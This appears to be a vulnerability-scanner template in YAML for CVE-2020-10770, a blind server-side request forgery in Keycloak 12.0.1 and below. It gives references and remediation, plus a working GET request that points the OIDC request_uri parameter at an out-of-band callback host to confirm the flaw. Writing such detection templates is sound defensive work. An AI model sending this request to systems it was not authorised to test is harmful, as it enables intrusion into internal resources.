41 lines
1.8 KiB
YAML
41 lines
1.8 KiB
YAML
id: CVE-2020-10770
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info:
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name: Keycloak <= 12.0.1 - request_uri Blind Server-Side Request Forgery (SSRF)
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author: dhiyaneshDk
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severity: medium
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description: Keycloak 12.0.1 and below allows an attacker to force the server to request an unverified URL using the OIDC parameter request_uri. This allows an attacker to execute a server-side request forgery (SSRF) attack.
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impact: |
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Successful exploitation of this vulnerability could lead to unauthorized access to internal resources, data leakage, or further attacks.
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remediation: |
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Upgrade Keycloak to a version higher than 12.0.1 to mitigate this vulnerability.
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reference:
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- https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html
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- https://www.exploit-db.com/exploits/50405
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- https://nvd.nist.gov/vuln/detail/CVE-2020-10770
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- https://bugzilla.redhat.com/show_bug.cgi?id=1846270
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
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cvss-score: 5.3
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cve-id: CVE-2020-10770
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cwe-id: CWE-918
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epss-score: 0.3389
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epss-percentile: 0.96671
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cpe: cpe:2.3:a:redhat:keycloak:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: redhat
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product: keycloak
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tags: cve,cve2020,keycloak,ssrf,oast,blind,packetstorm,edb,redhat
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http:
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- method: GET
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path:
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- '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/'
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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# digest: 4a0a0047304502207a990c223869ea534afb11dcb5ee30b32a092c96504f702a4c609634602c7107022100aabc1e85ae1b8868b3f3affb647cce1e5b5f85548dbd29e9abb1da949102ba43:922c64590222798bb761d5b6d8e72950 |